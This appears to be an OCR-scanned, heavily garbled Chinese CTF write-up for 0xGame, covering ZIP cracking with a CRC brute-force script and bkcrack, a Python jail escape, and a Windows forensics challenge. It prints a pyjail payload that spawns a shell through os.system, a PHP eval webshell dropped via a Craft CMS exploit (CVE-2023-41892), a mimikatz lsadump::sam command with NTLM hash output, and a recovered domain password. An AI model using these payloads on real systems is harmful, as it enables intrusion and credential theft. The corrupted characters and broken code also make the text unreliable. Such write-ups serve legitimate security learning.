print(f"[+] &I {len(targets)} NMENXH, ")
except (FileNotFoundError, zipfile.BadZipFile) as e:
print(f"[!] Fiz: {e}")
return targets

brute_force_many_short_files(targets: list):
nESMILERE <= 3 [ITAARIN M, "
if not targets: return {}, {}

print(f"[x] BUAIE] {len(targets)} ™MIXH (<=3 FH), ZEHEHITSVHHERK. .

size_groups = {}

for t in targets:
size = t['size']
if size not in size_groups: size_groups[size] = []
size_groups[size].append(t)

crc_to_plaintext = {}
for length, group_targets in size_groups.items():

.H)

print(f" [-] FFAFF {len(group_targets)} NA/NINA {length} FTHHIXEHIT

.ll)

group_crc_map = {t['crc']: t['filename'] for t in group_targets}

# tgdm HY total [/iZ/9 256xxlength

pbar = tqdm(itertools.product(range(256), repeat=length),
-> {length}FT/BH", unit="B", leave=False)

found_count = 0
for byte_tuple 1in pbar:
plaintext_bytes = bytes(byte_tuple)
crc_val = zlib.crc32(plaintext_bytes) & OxFFFFFF

if crc_val 1in group_crc_map and crc_val not in crc_to_plaintext:

crc_to_plaintext[crc_val] = plaintext_bytes
found_count += 1

FF

pbar.set_postfix_str(f"E#Z {found_count}/{len(group_crc_map)}

/I\u)

def reverse_crc_long(targets: list, crc_tool_path: str) -> dict:

if found_count == len(group_crc_map):

pbar.update(pbar.total - pbar.n) # NEH#HERTHE

break
pbar.close()

crc_map = {}

for t in targets:
if t['crc'] not in crc_map: crc_map[t['crc']] = []
crc_map[t['crc']].append(t['filename'])

return crc_map, crc_to_plaintext



98
99
100

101
102
103
104

105
106
107
108
109

110
111

112
113
114
115
116
117

118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
138

nRy 4-7 {UTTAARIX 4T CRC REE, "M
if not targets: return {}
print(f"[*] #AIEl {len(targets)} EPRFRNXMHE (4-7 FHi), EFEET CRC R
...
fragments_map = {}
for target in targets:
filename = target['filename']
print(f" [-] EEARINBIEN '{filename}' (K/): {target['size']} B,
CRC: {hex(target['crc'])}) #HiTRE...")
# HHRIERE python3 JF/H
command = ["python3", crc_tool_path, "reverse'", hex(target['crc'])]
try:
# 1890 timeout BEEFEIE
proc = subprocess.run(command, capture_output=True, text=True,
check=True, encoding='utf-8', errors='1ignore', timeout=300)
# 1EIEIEN, ULECBEIEERT+ 7~ F%6H B F 15 3t
fragments = re.findall(r"(?:alternative|bytes|hex) :\s+(.+?)\s+\
(OK\)", proc.stdout)

processed_fragments = []
for frag in fragments:
frag = frag.strip().strip("'\"") # FHE5|=
# SRR ERA bytes (WEE1\#%])
if len(frag) % 2 == 0 and all(c in '0123456789abcdefABCDEF' for
c in frag):
try:
processed_fragments.append (bytes. fromhex(frag))
except ValueError:
processed_fragments.append(frag)
else:
# [BEN ASCII/UTF-8 F154&
processed_fragments.append(frag)

if processed_fragments:
# DIREIE—HIZER, HIRIFIRENTZ
unique_fragments = []
for frag in processed_fragments:
if frag not in unique_fragments:
unique_fragments.append(frag)
fragments_map[filename] = unique_fragments

except subprocess.TimeoutExpired:

print(f"\n[!] AR '{crc_tool_path}' &, ")
except Exception as e:

print(f"\n[!] A '{crc_tool_path}' kMK: {e}")

return fragments_map



140
141

142
143
144
145
146
147
148
149
150
151

152
153

154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183

def test_password(zip_filename: str, password_bytes: bytes, test_file: str) ->
boo'l:
try:
with zipfile.ZipFile(zip_filename, 'r') as zf:
zf.read(test_file, pwd=password_bytes)
return True
except Exception:
return False

def main():

parser = argparse.ArgumentParser (description="£1}5E3%&hR CRC KEHIZA& vi2 (B
8% bkcrack KPA). ")

parser.add_argument("zip_file", help="FEEWRN ZIP XHHRZ. ")

parser.add_argument("--tool", type=str, default="crc32.py", help="Hm]FHHY
crc32.py TEERF, ")

args = parser.parse_args()

all_targets = extract_targets(args.zip_file)
if not all_targets: return

short_targets = [t for t in all_targets if t['size'] <= 3]
medium_targets = [t for t in all_targets if 4 <= t['size'] <= 7]
large_targets = [t for t in all_targets if t['size'] >= 8]

print(f"\n[*] X#H2M5EM, FHMT:")

print(f" - {len(short_targets)} ™MN\XH (<=3 FH) -> BERITHGIRKE")
print(f" - {len(medium_targets)} MNHEXH (4-7 FNH) -> ¥BFERA CRC RE")
print(f" - {len(large_targets)} NANXH (>=8 FT) —> FRAE")

print("-" * 50)

final_results = {} # {filename: [contentl, content2, ...]}

if short_targets:
crc_map, crc_to_plaintext = brute_force_many_short_files(short_targets)
for crc, plaintext in crc_to_plaintext.items():
for fname in crc_map.get(crc, []):
final_results[fname] = [plaintext]

if medium_targets:
fragments_map = reverse_crc_long(medium_targets, args.tool)
for fname, frags in fragments_map.items():
final_results[fname] = frags

if not final_results:

print("\n[!] ReeWMBMEEAXHFERAT. ")



184
185
186

187

188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222

223
224
225
226

return

print("\n" + "="x50); print("#& [+] YSWER/METM! ERMT: ");
print("="x50)

ordered_cracked_filenames = [t['filename'] for t in all_targets if
t['filename'] in final_results]

decoded_parts_for_summary = []

for filename 1in ordered_cracked_filenames:
content_1list = final_results[filename]
display_parts = []
summary_part = "" # JHFHEE—TEE

for i, content in enumerate(content_list):

if dsinstance(content, bytes):
# AL IEHIRHLIE bytes K&
display_str = bytes_to_hex_or_str(content)
summary_part = display_str.strip("'")
display_parts.append(display_str)

else:
# CRC R¥ZFTRIEHBIFIFE
display_parts.append(f"'{content}'")
summary_part = content

decoded_parts_for_summary.append (summary_part)
print(f" -> X '{filenamel}': [{', '.join(display_parts)}]")

print("\n[*] LU EFMEEREMNx BN +mlgEMHIZERNRET ")
full_decoded_text = "".join(decoded_parts_for_summary)
print(f" BHEARZA: {full_decoded_text}")

try:

choice = input("\n[?] BREEH#EZHXEsRE (BEESE) ? (y/n): ")
except KeyboardInterrupt:

print("\niEEEEBUE, "); return
if choice.lower() != 'y':

print("[*] {E4®R, "); return

if medium_targets:
print("\n-—- ZiRX¥ CRC RELRHESHER ——-")
password_fragment_lists = [final_results[t['filename']] for t 1in

medium_targets if t['filename'] in final_results]

cleaned_password_fragment_lists = []

for frag_list in password_fragment_Tlists:



227 cleaned_frag_list = [f.decode('utf-8", errors="1ignore') if
isinstance(f, bytes) else f for f in frag_list]

228 cleaned_password_fragment_lists.append(list(set(f for f in
cleaned_frag_list if f)))

229

230 if any(cleaned_password_fragment_lists):

231 test_file = max(all_targets, key=lambda t: t['size'])['filename']

232 print(f"[*] BohEERAXMH '{test_file}' ATFZHEBRIE, ")

233

234 total_passwords = 1

235 for frags in cleaned_password_fragment_lists: total_passwords x=
len(frags)

236

237 pbar = tqdm(itertools.product(xcleaned_password_fragment_lists),
total=total_passwords, desc=" -> ZXZEE", unit="Combo")

238 for combo in pbar:

239 password_str = "".join(combo)

240 password_bytes = password_str.encode('utf-8")

241

242 display_pwd = password_str[:30] + '..." if len(password_str)
30 else password_str

243 pbar.set_postfix_str(f"IEEZ=iR: '{display_pwd}'")

244

245 if test_password(args.zip_file, password_bytes, test_file):

246 pbar.close()

247 print("\n" + "="%50); print(f" & [+] REZZBIRERIEMIN! ");
print(f" >>> {password_str} <<<"); print("="x50)

248 return

249 print("\n[!] REEEILIEH EMIVEIDAES, ")

250 else:

251 print("[*] REAHEN CRC REBLERBTERAES, ")

252

253

254 if __name__ == "_main__":

255 main()

256

257 e

258 olo@yolo:~/Desktop/timu/0xGame/FHiIf{HES python crcdecrypt.py attachment.zip
259 [*] [ETESHEGEE: attachment.zip
260 [+] RI 40 DMEXH,

261
262 [x] XHH5ER, SANT:

263 - 38 NI (<=3 FT) > RERTHFIEMK

264 - 0 MREXH (4-7 FW) > BEA CRC k¥

265 - 2 DAXMH (>=8 FW) > KRB

266  —mmm oo

267  [*] AR 38 NI (<=3 FHi), EEHTERMEBIEMN. ..



268 [-]1 FFEE3Y 19 DANA 3 FHHXHHITIBR. ..

269 [-1 FFEXY 19 DRNA 1 FHXGHITIRK. ..

270

271  ====================sssssssssss=sss=ssssssssssssoo=s
272 & [+] ¥ITHAR/MESER! LRI

273  ==================================================
274 -> X "l.txt': ['HF']

275 = X '2.txt': ['B']

276 ...... HEEE D ... ...

277 -> X '34.txt': ['x']

278 -> X '35.txt': ['G']

279 -> X '36.txt': ['a']

280 -> X '37.txt': ['m']

281 -> X '38.txt': ['e']

282

283  [x] HUEFRIBERx~E M x+al MR IRENRE R :

284 BHENS: FGRENMEEENXH, MISETEIEIAS :welcome_to_0xGame
285

286 [?] ERE#SRKABmHE (BEAS) ? (y/n): vy
287 yolo@yolo:~/Desktop/timu/0xGame/FFEiIffES
288 mmn

BIREAXKE, XNHIRRAER, EBweek2BIRIRIE

yolo@yolo: $ echo -n "welcome_to_0xGame" > plain
yolo@yolo: $ cat plain

welcome_to 0xGameyolo@yolo: $

yolo@yolo: $ bkcrack -C attachment.zip -c VIP_file -p plain
bkcrack 1.8.0 - 2025-08-18

[22:25:23] Z reduction using 10 bytes of known plaintext

100.0 % (10 / 10)

[22:25:23] Attack on 658002 Z values at index 6

Keys: b4f76b3f 94ffc8f4 bB85ceb2b

14.8 % (97650 [/ 658002)

Found a solution. Stopping.

You may resume the attack with the option: --continue-attack 97650

[22:25:46] Keys

baf76b3f 94ffc8f4 b85ceb2b

yolo@yolo: $ bkcrack -C attachment.zip -k b4f76b3f 94ffc8f4 b85ceb2b -c flag.txt -d
flag.txt

bkcrack 1.8.0 - 2825-08-18

[22:26:19] Writing deciphered data flag.txt

Wrote deciphered data (not compressed).

yolo@yolo: $ cat flag.txt

0xGame{WEII_YOu_@re_nnaSTer_IOcksmith}yolo@yolo:

yolo@yolo: S

Jail KT
B TGS

HEGIR

1 [ x.__init globals__ for x in ''.__class__.__base subclasses__() if

X.__hame__=="_wrap_close"] [0] ["system"] ("sh")



% XBEIfd X R TR

ARIGIR
~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.3 0.0 20612 15248 ? Ss 08:10 0:00 python3
main.py

4 nobody 7 0.2 0.0 20600 14820 ? S 08:10 0:00 python3
/proc/self/fd/4 fork

5  nobody 8 0.0 0.0 2584 9327 S 08:10 0:00 sh -c sh

6 nobody 9 0.0 0.0 2584 956 ? S 08:10 0:00 sh

7 nobody 10 0.0 0.0 8484 4208 ? R 08:11 0:00 ps aux

8 ~$ ls -la /proc/self/fd/4

9  lrwx—-—--—-—-- 1 nobody root 64 Oct 17 08:11 /proc/self/fd/4 —>

/memfd: /app/main.py (deleted)
10 ~$ python -c "import

0s;0s.lseek(4,0,0);print(os.read(4,90000) .decode('latinl',errors="1Hignore'))"

S5 TED, BEERANIlagRK

HADIR

1 def flag_hint():

2 print("there are some +important information for you")

3 key='49a635cd124174a4b3e0d4c02b6224ddfaabc5e2640600cc195e29f21075dd93"
4 IV="MEOHeAiC+BLlLhH3FKh1OMQ=="

5

Ciphertext="'j+W4sfLIL4wNOrX2Qi03wqDXDb37DNtYjeYoBVIeKOt4WSUb/Sx4B8/804ZXA4J9"
print("that's all,have fun!!!")

(9]

1R{E B RYAES CBCHER

RIGIR

1  dimport base64

2 dmport binascii

3  from Crypto.Cipher +import AES

4 from Crypto.Util.Padding import unpad

5

6 def decrypt_cbc_data(key_hex,iv_b64,ciphertext_b64):
7 try:

8 key=bytes. fromhex (key_hex)

9 iv=base64.b64decode (iv_b64)

10 ciphertext=base64.b64decode(ciphertext_b64)



11

12 if len(key) not in [16,24,32]:

13 raise ValueError (f"wrong length:{len(key)1}")
14

15 if len(iv) != 16:

16 raise ValueError (f"wrong length:{len(iv)}")
17

18 cipher=AES.new(key,AES.MODE_CBC,iv)

19 plaintext=cipher.decrypt(ciphertext)

20

21 plaintext=unpad(plaintext,AES.block_size)

22 return plaintext.decode('utf-8")

23

24 except Exception as e:

25 raise Exception(f"worng:{str(e)}")

26

27  key='49a635cd124174a4b3e0d4c02b6224ddfaabc5e2640600cc195e29f21075dd93"

28 IV="MEOHeAiC+B1lLhH3FKh1OMQ=="

29 Ciphertext="'j+W4sfLIL4wNOrX2Qi03wqDXDb37DNtYjeYoBVIeKOt4WSUb/Sx4B8/804ZXA4J9"
30

31

32 try:

33 result=decrypt_cbc_data(key,IV,Ciphertext)
34 print("sussessful!!!")

35 print("result:",result)

36 except Exception as e:

37 print("wrong:",str(e))

38

39 e

40  sussessful!!!
41 result: OxGame{Contratulations!You_solved_pyjail!}
42 mmn

Big and beautiful
SeiEiR—T A NIE R
IFEhHEE=6125: —4& Windows 10. —& Windows 7 #1—& Windows Server 2019, =&{IF

E—AMA, EH, Windows Server 2019 {EAEiTHI2s, ZBZE T Active Directory 1%ARSS, HECE
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WHPEEINEEH, AP 0xGameRBEX Z L E?
£C:\Windows\System32\config T EISAMFISYSTEMFE NS4, BN R

2, AccessData FTK Imager 3.1.2.0

File View Mode Help
aascaddOu
Evidence Tree
a1 E0l
' NOXAME [NTFS)
s-a [reot]
¥ $BadClus
® S §Extend
O $Reeycle. Bin
# $Secure
¥ SlpCase
* 0 SWINDOWS. BT
=0 Boot
S Dhocuments and Settings
SPerflogs
= @ phpstudy_pro
s @Progran Files
s OProgram Files (x36)
=& Programdata
* B Recovery
SSystem Volume Informatic

@Windows
# Saddins
# O appeonpat

© Obeastdve

¥ bfsve. exe
+ O BitLockerDiscoveryVo
# 0 Boot

Custom Content Sources
Evidence:File Syste.. Options.

For User Guide, press F1

DRIVERS.LOG1
DRIVERS LOG1 FileSlack
DRIVERS.LOGZ
DRIVERS{1c37907b-b8a.

DRIVERS{1c37907b-bSa...
DRIVERS{1c37907b-ba..,

ELAM
ELAM.LOGT
ELAMLOG2

ELAM{1c379127-b8ad-1..
ELAM{1c379127-b8ad-1..

ELAM{1c379127

SECURITY
SECURITY.LOG1
SECURITY.LOG2
SOFTWARE
SOFTWARE.LOG1
SOFTWARE.LOG2

SOFTWARE.LOG2 FileSla...

SYSTEM
SYSTEM.LOG1
SYSTEM.LOG2

Size| Type

966 Regul..
2 File Sl...
0 Regul...
64 Regul...

512 Regul...

512 Regul...
32 Regul...
32 Regul...
0 Regul...
64 Regul...

512

1472 Regul...

..||Cursor pos = 0; clus = 243289; log sec = 19463168

2 Regul...
64 Regul...

64 Regul...

48 Regul...

32 Regul...

& Regul .

8 Regul...
69,120 Regul...
15,776 Regul..
17,153 Regul...
3 File Sl...
13,312 Regul...

|Date... |

2018/,

2018/...

2025/,

2025/...
2025/...

2025/,

2018/...
2018/...
2025/... —

2025/...
2025/...
2018/,

2018/...
2025/...
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EIIR

1 Tlsadump::sam /sam:SAM /system:SYSTEM



Primary :NTLM-Strong—-NTOWF *
Random Value : 52Ufea9dc723e91b5e5de59ael8705be

Primary:Kerberos—-Newer-Keys #*
Default Salt : WDAGUtilityAccount
Default Tterations : 4096
Credentials
aes256_hmac (4096) : 12bfd6d0e316a9c5a03508278b9uU63U77605b82d61104378da25101Ff93bb265
aesl28_hmac (4096) : 122e56d61bu4992f16bbdb7U491e260ebb
des_cbc_md5 (4e96) : 6bbacb2f73853buf

Packages *
NTLM-Strong—NTOWF

Primary:Kerberos =
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : 6bbacb2+73853buf

RID : 00REO3e8 (1000)
User : OxGame
Hash NTLM: e9b6uU5edfe@@1e3555df8uU36U0LUdeach

Supplemental Credentials:
* Primary:NTLM-Strong—-NTOWF #*
Random Value : elbd@@34335clbeacccb5958b5639d34

* Primary:Kerberos—Newer—Keys *
Default Salt : WIN-5VPUOKKCM2NOxGame
Default Iterations : 4096
Credentials
aes256_hmac (4096) : Hcd9lecf7+2841+5e58b05b3cU483f88eb9edbabbbffaec9726d23U4abb86UF9039
aes128_hmac (4096) : 44U4ATT4e5bdec291d1al0356b315a6bf3
des_cbc_md5 (4096) : 234alabedd70adad

* Packages *
NTLM-Strong—-NTOWF

* Primary:Kerberos *
Default Salt : WIN-5VPUOKKCM2NOxGame
Credentials
des_cbc_md5 : 234alafede70adad

RID : 000003e9 (1001)

Ecmd5.comZE B EIBAX
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WHEF BN RENCVERS E?
B J7EC:\phpstudy_pro\WWW\site Fi(EI TEE R, &KIXwebiRSE Ecraftcms

B AccessData FTK Imager 3.1.2.0 - a x
Eile View Mode Help
aAscadlCacs ~=B 3 N6 e,
Evidence Tree File List
= @ sRecycle. Bin Name Size|Type | Date .. |
pi s config 1 Direct.. 2025/...
& @ SWINDOWS. “BT ~ storage 1 Direct.. 2025/,
= O Raot templates 1 Direct.. 2025/...
Shocuments and Settings vendor 1 Direct.. 2025/...
S Perflogs “web 1 Direct... 2025/.
e b
iy 5130 4 NTFS.. 2025/...
# OExtensions env 1 Regul.. 2025/..
s-owWw .env.example.dev 1 Regul.. 2023/...
r :“"t"“' .env.example.production 1 Regul.. 2023/...
i ..s_z:mﬁ .env.example.staging 1 Regul.. 2023/.
Ghimlpurifier | °.gitignore 1 Regul.. 2023/,
s Gproject * bootstrap.php 1 Regul... 2023/...
. j“‘"’??‘-‘ composer json 1 Regul.. 2023/.
D composer lack 256 Regul.. 2023/..
u @web craft 1 Regul.. 2023/..
= Gepresources
# SProgram Files
s OProgram Files (x86)
= GProgramata
= & Recovery
S System Voluwe Informatic
s @Users
= ©¥indows
= [unallocated space)
Custom Content Sources
Evidence:File Syste...  Options
# Read about confi tion, here:

# https://craftems. com/docs/4. x/config/

# The application ID wsed to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=Craf tCMS—-cc341ecb-6ddb-4aal-bc17-9daed]1341eb3

# The environment Craft is eurrently running in (dev, staging, preduction, ete.)
CRAFT_ENVIRONMENT=dev

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURTTY_KEY=kn3Ux_LSN1ZJVZVKt35nPi_zRT23nZa

# Database connection settings
CRAFT_DB_DRIVER=mysal
CRAFT_DB_SERVER=127.0. 0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=db
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=root
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFTN=db,_

Mew| Edit | Res *|| # General settings (see config/general. php)
DEV_MODE=true

Properties |Hex Value L. Custom Con..) || .. 5 . rasras carasmmren
1.EO1/NONAME [NTFS)/[root)/phpstudy_pro/WW\W/site/.env




EEXPwebfREHIBEXHC:\phpstudy_pro\WWW\site\storage\logs\web-2025-09-02.log, &I
T—AERDS

O AccessData FTK Imager 3.1.2.0 _ a %
File View Mode Help
adscadiBas =03 000 Eer .
Evidence Tree File List
¥ ssecure Name | Size|Type |Date.. |
e I 5130 4 NTFS ... 2025/...
B console-2023-06-13 log 28 Regul.. 2023/
console-2025-0%-02.log 22 Regul.. 2025/..
phperrors.log 8 Regul... 2025/...
web-2025-09-02log 14 Regul.. 2025/,

> logs

Sweb
= Scpresources

Custom Content Sources
Evidence:File Syste... Options

indows” o
\OxGame' \AppData'\Local\\Temp'
xGame' \AppData\\Local \\Temp'

"TMP'
: SERDOMAIN RO.-NI\GI"R.OFILE' =» ' DESKTOP-UNALGAD'
e

\\Users\\OxGame”
indows”

’ > " zh-CN, zh:q=0.9, ja;q=0. 8
ENCODING' => " gzip, deflate’
' => "htrp://192. 168. 58. 3:8080,"

" text/html, application/xhtml+xml, application
_USER_AGENT "<Pphp “echa “<?php Geval ($*_POST [1°17)
" HTTP_UPGRADE_INSECURE_REQUESTS' =>
"HTTP_CONTENT_TYPE' => "application
'HTTP_ORIGIN' => "http://192. 168, 5
" HTTP_CACHE_COXTROL' x-age=0"
"HTTP_CONTENT_LENGTH' =» 361
. CTION' =5 '} i

1;q70. 9, image/avif, image/webp, image/apng, */%;470. 8, application/signed-exchange; v=b3;9=0. 7"
?°» » shell.php : 23"

x-www—formurlencoded’
3:8080"

> "localhest’
* 8080 v

1.E0L/NONAME [NTFS]/[r _prof i 2025-09-02.Jog

XERHTTP_USER_AGENTLKEIA T EEar <, EERAMEINIEIECVE
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WEEBEMASANcmMdiFSE?
HEt—aax, ERFRXERNEcmdisS
ZZE: echo *<?php @eval?($A_POSTA[1A]A)A;24> > shell.php

4
BRRREEEHIREREBRNEERZEL,
EHiZEEImysqlBIX 4 EIC:\phpstudy_pro\Extensions\MySQL5.7.26\data\db\db_users.ibd

O AccessData FTK Imager 3.1.2.0 = o X

File View Mode Help
agsoadiBa LIRS R 1

=@ 1E0L Name | size|Type .|
Sy o Lves) “db_tokens.ibd 128 Regul...
& $BadClus db_usergroups.frm 9 Regul...
©$Extend ~db_usergroups.ibd 128 Regul...
©$Recycle. Bin ~db_usergroups_users.frm 9 Regul...
i gSEE:ZZ ~db_usergroups_users.ibd 128 Regul...
 $HINDONS. “BT “ db_userpermissions.frm 9 Regul...
©Boot db_userpermissions.ibd 112 Regul...
©Documents and Settings db_userpermissions.ibd.FileSlack 16 File SI...
jz:;:ﬁg:}m db_userpermissions_usergroup... 9 Regul...
DM ~db_userpermissions_usergroup... 128 Regul...
4 O Extensions ~db_userpermissions_users.frm 9 Regul...
s @ Apache?. 4. 39 " db_userpermissions_users.ibd 128 Regul...
jgggfgaggs - db_userpreferences.frm 9 Regul...
. aV{vSQi_s:IZG db_userpreferences.ibd 96 Regul...
Sbin ~db_userpreferences.ibd.FileSlack 32 File SI...
s-Odata
odb
j‘p"gj;‘imwe “db_users.ibd.FileSlack
Bsys = db_volumefolders.frm 9 Regul... 2025/...
=@ share db_volumefolders.ibd 144 Regul.. 2025/..
& F3§inxl- 15.11 db_volumefolders.ibd.FileSlack 48 File Sl...
Z-Sphp - db_volumes.frm 13 Regul... 2025/...
o 8 SdL_Fronts.3 “db_volumes.ibd 160 Regul.. 2025/...
~ db_volumes.ibd.FileSlack 32 File SI...
Custom Content Sources © | ~db_widgets.frm 9 Regul... 2025/...

112 Reaul... 2025/.

Evidence:File Syste... | Options db w,idnm ibd

New| Edit | Remove | Remove All| Create Inszst/ao o

Properties |Hex Value I... Custom Con...||Cursor pos = 0; clus = 237928; log sec = 1903424
1.E01/NONAME [NTFS]/[root i ySQL5.7.2¢ /db_users.ibd
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Find Results
Address

= Output E* g Find in Files @ Compare L, Histogram _E Checksum #% Process mov Disassembler
Selected: 32 [20h] bytes (Range: 49328 [COBOh] to 49359 [COCFh])
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File View Mode Help
@adaa @HBac=m B S OB0EEE 2.

¥ $BadClus Name

© $Extend

Size‘Type ‘ Date ... ‘

]

©$Recycle. Bin

¥ $UpCase

© SWINDOWS. “BT

©Boot

©Documents and Settings
SPerflogs
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©Progran Files (x86)
©ProgranData
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©Documents
©Microsoft
©Microsoft OneDrive
©Package Cache
©Packages
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1
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S USOShared
S VMware
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o [JHh] SR

& 5L

Custom Content Sources
Evidence:File Syste... | Options

% $Secure 1Thisipicimustibeio[someiuse.m

1,024 Regul... 2025/...
33 Regul... 2025/...

New| Edit | Remove | Remove All| Greate Tmage |

Properties |He

e Int... Custom Cont... | |Cursor pos = 0

1.E01/NONAME [NTFS1/[root]/ProaramData/Somewhere that no one can ever find

LUX K E F #4258, Fveracryptif#isecret

=T

[EB=ES]

ES

fi

K

‘ = important_file.txt

2025/8/31 15:56

Text Document

1KB

[ password.csv

D usernames.csv
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File Edit View

2025/8/31 16:48

2025/9/2 0:24
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ITEsmbii, FEIBINAYAR—%

M 1pcapng = o b4

XHHF)  RIBE) BNV BEEG) MG A FEHS) mIEY) ZEwW) TRM #EEH)

4m e REQezs=ZFLa EQaaqBEH

M [smbunt status == “STATUS SUCCESS” (B3 -]+
Time Source Destination Pro Len Info

11617.46.. 192.168.58.3 192.168.58.243 SMB 516 Session Setup AndX Request, NTLMSSP_AUTH, User: @xgaammee.com\vridge334
61617.76.. 192.168.58.3 192.168.58.243 SMB 185 Negotiate Protocol Request

62 617.76.. 192.168.58.243 192.168.58.3  SMB 263 Negotiate Protocol Response

75617.86.. 192.168.58.3 192.168.58.243 SMB 194 Session Setup AndX Request, NTLMSSP_NEGOTIATE

85617.96.. 192.168.58.3 192.168.58.243 SMB 516 Session Setup AndX Request, NTLMSSP_AUTH, User: @xgaammee.com\vridge334
38 618.28.. 192,168,58.3 192.168.58.243 SMB 105 Negotiate Protocol Request

39 618.28.. 192.168.58.243192.168.58.3  SMB 263 Negotiate Protocol Response

53 618.38.. 192.168.58.3 192.168.58.243 SMB 194 Session Setup AndX Request, NTLMSSP_NEGOTIATE

63 618.48.. 192.168.58.3 192.168.58.243 SMB 516 Session Setup AndX Request, NTLMSSP_AUTH, User: @xgaammee.com\vridge334
66 618.49.. 192.168.58.243 192.168.58.3 SMB 172 Session Setup AndX Response

L9i618.69... 192.168.58.3 192.168.58.243 SMB 130 Tree Connect AndX Request, Path: \\192.168.58.243\IPC$ '
80618.60.. 192,168.58.243192.168.58.3 SMB 104 Tree Connect AndX Response

91618.71.. 192.168.58.3 192.168.58.243 SMB 149 NT Create AndX Request, FID: @x4000, Path: \svcctl

92618.71.. 192.168.58.243 192.168.58.3 SMB 193 NT Create AndX Response, FID: ©x4000

“ »

> Frame 3877279: 130 bytes on wire (1048 bits), 130 bytes cay €000 00 6c 29 0a 04 eb [R:[GEPl] be dc a8 @8 @0 45 @@ -
> Ethernet II, Src: VMware_b@:dc:a8 (00:0c:29:b@:dc:a8), Dst: 0910 ©0 74 a2 35 40 €0 80 66 62 @7 c@ a8 3a 83 co a8 -t
> Internet Protocol Version 4, Src: 192.168.58.3, Dst: 192.1¢ 9920 3a f3 d7 4d @1 bd 88 f9 15 83 9@ 6e 60 a9 50 18 -
» Transmission Control Protocol, Src Port: 55117, Dst Port: ¢ 9936 20 11 37 7c 0@ 9@ 06 0@ 60 48 ff 53 4d 42 75 @@ K
d o e oo o 0b ¢ FF e1 47 o0 0F 00 00 04 Ff 00 00 00 60 .
Bese e oee e
> Eeisepven tiessaeeiBlockilbnotacel) 6060 @0 91 @0 1d 8@ @0 5c 5c 31 39 32 2e 31 36 38 2e KX
0076 35 38 2e 32 34 33 5c 49 50 43 24 @8 3f 3f 3f 3f 58.
ooze  3f 08 2

@ 7 1peapng 4348: 3907378 - Displayed: 6024 (0.2%) fe: Default
XK EImEEM T #R, BIEFEPIREAERERTEZEREMEE =1
&= vridge334_hP3SvKc@7mXr!9L

7
BRI A P PRTERYIE R
RN B VIR

ZZ: Oxgaammee.com

8
B4R HIIERI N R TR,
28— TDNSHRFAEE R


http://0xgaammee.com/

M 1pcapng = [} ®
XEHF)  RIRGE) BN BWEG) KGO oA NS mIEY) EEwW) TRM B
Am i@ RE QA==2EF4 35 =S QAaaQBH
[W]current filter: dns -]+
No. Time  Source Destination Pro Len Info 1
40 4.1033.. 192.168.58.3 192.168.58.2 DNS 76 Standard query ©x47ad A go.microsoft.com
414.1182.. 192.168.58.2 192.168.58.3 DNS 171 Standard query response @x47ad A go.microsoft.com CNAME go.micr
159 4.9671.. 192.168.58.3 192.168.58.2 DNS 91 Standard query ©xf182 A settings-win.data.microsoft.com
160 4.9693.. 192.168.58.2 192.168.58.3 DNS 226 Standard query response Bxf182 A settings-win.data.microsoft.co
s 204 5.3409.. 192.168.58.243 192.168.58.244 DNS 82 Standard query @xd53@ A @xgameDC.@xgaammee.com
}-J— 205 5.3413.. 192.168.58.244 192.168.58.243 DNS 98 Standard query response @xd53@ A ©xgameDC.@xgaammee.com A 192.1
2371 22.925.. 192.168.58.3 192.168.58.2 DNS 89 Standard query @x52ed A vl@.events.data.microsoft.com
2372 22.928.. 192.168.58.2 192.168.58.3 DNS 226 Standard query response @8x52ed A v1@.events.data.microsoft.com
2873 25.764.. 192.168.58.3 192.168.58.2 DNS 95 Standard query 8x83b7 A geover.prod.do.dsp.mp.microsoft.com
2883 25.777.. 192.168.58.2 192.168.58.3 DNS 286 Standard query response @x@3b7 A geover.prod.do.dsp.mp.microsof
3095 27.360.. 192.168.58.3 192.168.58.2 DNS 94 Standard query ©xd74c A cp8@1.prod.do.dsp.mp.microsoft.com —
3098 27.363.. 192.168.58.2 192.168.58.3 DNS 284 Standard query response @xd74c A cp8@l.prod.do.dsp.mp.microsoft
3230 28.2€8.. 192.168.58.3 192.168.58.2 DNS 94 Standard query @xc2@c A cp8@l.prod.do.dsp.mp.microsoft.com
3231 28.211.. 192.168.58.2 192.168.58.3 DNS 204 Standard query response @xc2@c A cp8@l.prod.do.dsp.mp.microsoft—
> Frame 2@85: 98 bytes on wire (784 bits), 98 bytes captured ( ©060 0@ ©c 29 ©a 84 ed 00 Oc 29 fa d6 ab 88 B0 45 0@ s
> Ethernet II, Src: VMware fa:d6:ab (80:0c:29:fa:d6:ab), Dst: 9916 00 54 14 f9 00 00 80 11 2e 68 cO a8 3a f4 co a8 ‘T
> Internet Protocol Version 4, Src: 192.168.58.244, Dst: 192, 9920 3a f3 @@ 35 e4 ad 0@ 48 el cb d5 30 85 80 @0 €1  :--
» User Datagram Protocol, Src Port: 53, Dst Port: 58541 0030 [LJEE oo 0o o0 00 08 30 78 67 61 6d 65 44 43 09 [l
. Domain Name System (response) 9@4@ 30 78 67 61 61 6d 6d 65 65 @3 63 6 6d 80 80 81  Bxf
GOS0 90 ©1 cO Oc P0 91 90 ©1 0O 00 04 bo @0 64 cO a8
0868 3a f4
@ 7 ipcapng $348: 3907378 - Displayed: 339 (0.0%) PEE: Default

&2 OXGAMEDC
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v

WEENANRRENCVERSZ?

L» E# AN Z %= CVE-2023-41892
v

EEERASHNOdiGS E?

L» St N &2 : echo "<?php @eval”($”_POST*[1~]*)";?*> > shell.php

RENEEXNHHNARE.

: I_think_spaghetti_should_be_mixed_with_No.42_concrete.

RYEERINEAPNKSED.

: vridge334_hP3$vKc@7mXr!9L

REHAFRERNES.

: Oxgaammee.com

L REBEX! BEFEBEXR flag!
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